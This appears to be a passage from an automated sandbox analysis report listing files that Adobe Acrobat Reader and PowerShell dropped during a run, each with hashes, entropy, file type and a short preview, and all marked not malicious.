Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6687292710467725
Encrypted:	false
SSDEEP:	24:Yv6XMtzvzamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvnxbBgkDMUJUAh8cvMx
MD5:	26B59B5BD437849677BCFD8665D13415
SHA1:	4A4C67FC8B44BCDFE72AFD54D11A66AEE9F90AC4
SHA-256:	9CEA140B9E587A91A0EC820D8AAF0FDF9B46587AEB2884743FCF457D3E037494
SHA-512:	1CC69BEAB57FEE598632D7D64747330F8B71AD60176BEB017ECDAC0EF775D12BD2D43D042971CC02D4C36384DB4987544E3598C7B0F9727ADFB33315931015F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278572871176746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfshHHrPeUkwRe9:YvXKXMtZc0vWGUUUkee9
MD5:	567EE8A36C025E74CC6AEF25252AAEE8
SHA1:	5199B0F13729F327F71D4D7C5A60490220951663
SHA-256:	5C61EEC1724CDF3926109E84EA684F8F6F30E3D87FC2C9E06D567010B7FD491D
SHA-512:	28C6ED05FAFA215ED7E5BD7DCB020C04D3563B74B67904FD6F724BA4C08C78954379710945563BFA61CFAAAD2F116944CE2832D29C4DA2171E2436EBB46267C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.290435135313714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJTqgFCrPeUkwRe9:YvXKXMtZc0vWGTq16Ukee9
MD5:	13D425E808B8AF148562796708380D7F
SHA1:	89D8638239CD7205669EEF6B6D1F3D26AEE15ED1
SHA-256:	76E96D7D9AE4998E9F35F0BAB28C53BAF4661CE25A28EC5A853C288F31715713
SHA-512:	46A082DD2C90E15CF4B6F3664FF02E0060FA78C738053A50A781370E80316E7F399A52BE6EBE83FBD46B0FA47CC458E751D5A6A697B033122EE3393C4DC8D7D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147003498755325
Encrypted:	false
SSDEEP:	24:YdYgaKaylYCWijLYFXHfoj3Fj0So3682k2LSyCYxQc/7qgLD8AL5c9rsuOFOG:YdtWiXiy3Jsx8pQc/7qgLDBe9rc
MD5:	56BCB6FB1154372F92FE8F48BDE4ED09
SHA1:	0908136C85E22FDA2C382944E38B97696D65FA53
SHA-256:	AB79568003BC364384A03C69931540C008A0D596CEDAB32C9969409211D3CD3C
SHA-512:	899A41D78E718389EBDBF4CF7EECB8DC0EC3BB3101A91B4DDACBD7C186300F2C1DCB18A5380B381EBEC5A76039E50C80240902A4D10B672C4A7097C8FEEC20D4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f324f24a5db599584e5dcb600a0108f2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545716000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"de5cfc64e9deb8af170725ae84f1fee4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545716000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"99b183bb0d1ac8d719dac4b3297080bd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545716000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3bd7c127b62392ab3ceba8ca650eb5e9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545716000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"87876a2b83ed0dec8c2f5df6de8a7878","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545716000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8be0bda0f0e18a5486363f63051dac40","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1888149265974484
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU/SvR9H9vxFGiDIAEkGVvpz:lNVmswUUUUUUUU/+FGSItf
MD5:	2D19D79E3F67707AAAAB89A67BEAA001
SHA1:	670E54EEF7F9972D4E026B85E50BCDFB4733880E
SHA-256:	17BA5732807C8BD2CCD484F32153CDFC4F699B4B25951046092FFF7EB4761FCD
SHA-512:	97A02D21C675CFF3FE9AAB46FB2F79349003C3A36773609E4B5919036FA45D0F7F50A6B1FB22C8C18C763B235F17110B77409B7F9AFE05137373B09AD3CC0275
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.60833372980244
Encrypted:	false
SSDEEP:	48:7MjKUUUUUUUUUUDvR9H9vxFGiDIAEkGVv9RqFl2GL7msm:7pUUUUUUUUUUTFGSItvRKVmsm
MD5:	402221132938CDC7FF3013F9E221C0CF
SHA1:	8F09B5F9E5E3D3B34B7B7F1A4569C1343C0EE8C5
SHA-256:	405109E767ECEA9ACBF88EFBF350AC7F086D93B14C5D7C7B247C78945BCF09A0
SHA-512:	22FDF322343201280078217257FBEBAC6D9ED2E7CDA9BEDAB8FE6072BD8D27112A683273BB88D0C85874EF7058E4E5354B962BF11A1598E67B88D1992A562FD8
Malicious:	false
Preview:	.... .c......(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAXiWR7JKNA5TDjPBJbAoUxV7/Yyu:6a6TZ44ADE2iWR7J/5bW/K
MD5:	FAFB8BED70CBE4F6FEC5F3BCA6057107
SHA1:	3EBFB1DC404638C59490852979D989C075A497C6
SHA-256:	B08CD30844EA092AEF0CC9C7403457DB0E28071087076D622BCEBA78BE7F43F0
SHA-512:	ED2D2B91A48D4D90F6CCA0BB9F403D5FF4E8DFCFAB22191C45BD4785A3EFC15E597E1ECD8924F0B2D377C8706DE5D86E55B9C5AF1B4814029BF3285BB300999A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSId312f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.537590009309966
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNou:Qw946cPbiOxDlbYnuRK+bDrNou
MD5:	EF276D58A778631BD5ED7558489C8965
SHA1:	BE4ABF42398DABA75126FA976003B2CAA844F9E2
SHA-256:	06DAA9A9A1FCC8B18B209F5650F0D30EB4D2BD44A57417793D4562C6A0B5B6C4
SHA-512:	54CB769463C68A89643958FC69DDE41C8559D6B2D5C579B01250AF09D95086B370CC7E5FF6891F2F5725D246DDFC5D00B1B10C7BC20A3CB05B928CB980D30A1D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.4.8.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_321hcmof.4bt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doglxnlg.gy1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-48-30-200.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3449543194712605
Encrypted:	false
SSDEEP:	384:chXP4mkJ4dU3u0ZJCAJv7NAZDwdlPx572Bgmtl3Ucd9ArqJMMLJdC9CzCvdfFO+7:pHh
MD5:	387E87B7644AAEA451AA3AC65877BDF1
SHA1:	1A73D791178833E1031EACAC4BB63D3B9E54B727
SHA-256:	EEE20936583243AE48730C5A275A83F216BB0A37986B5E2D318FF2973CF43812
SHA-512:	C7B812E9DDD30CE358F0D7C9AD8C60E27EE6B1D7AC316EB59B75784434B59130075E392DCB30923298AE47F9678FE0F13344496E7115E531DC6F8D7F07CED88B
Malicious:	false
Preview:	SessionID=35479ae3-f6c8-4e10-ad31-bd00fb04f35e.1736545710223 Timestamp=2025-01-10T16:48:30:223-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=35479ae3-f6c8-4e10-ad31-bd00fb04f35e.1736545710223 Timestamp=2025-01-10T16:48:30:225-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=35479ae3-f6c8-4e10-ad31-bd00fb04f35e.1736545710223 Timestamp=2025-01-10T16:48:30:225-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=35479ae3-f6c8-4e10-ad31-bd00fb04f35e.1736545710223 Timestamp=2025-01-10T16:48:30:226-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=35479ae3-f6c8-4e10-ad31-bd00fb04f35e.1736545710223 Timestamp=2025-01-10T16:48:30:226-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.384759107882859
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rJ:Gtu
MD5:	08173B1097A6D78E59309761793ADB65
SHA1:	9647A34B5A481C278C04FE20EB4E457831683C01
SHA-256:	E50C9D0256B08DFC11112BD4F1F05A5114D8965DC9B66AFF0D49CF230D2F913A
SHA-512:	E47B9BD65D030293405BF11C340FB9AFC62913786CA5817930B8F725B54B194AE079F74496AC7E5C05D32B151A9A4F97C41735C3DB77B9262EFFF61CA50D7703
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\05e18d1d-42ea-4210-b03d-eeeb58ea35b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b88a5ef8-c54c-436f-a694-31a7387a24f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12848
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UU:O3Pjegf121YS8lkipdjMMNB1DofjgJJQ
MD5:	49F4EFB54FD6E888FEC6AF7BAB672962
SHA1:	E35DA7F0DA6AF55AC0B28874D2DF3E42AB749A1F
SHA-256:	7E5F70D459761AC2F6815F1F4E3374161518F1036BA53A63A89FCB819C201455
SHA-512:	592B5CD53D6EBB6B72E57BA4A1AC477A2F9C9BE19EA66BAFC50CEC87994E6D815C1622AFA869313E63553E14CF844A83AC7418121A8EC8984EC81F3866A978C6
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d7d00dd3-b55c-4c66-9ef3-66709247430f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f3341d38-827c-4bda-ac3f-ba19ffc17dc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	62F2E9F22B4021BA764763F066157442
SHA1:	0BBCDDCCA2B7342980503F1522E9249B077DED4C
SHA-256:	747B773557070E01063EDCDF20C3DA8DD01599EF5EE5E5320BA7328DFDB2E721
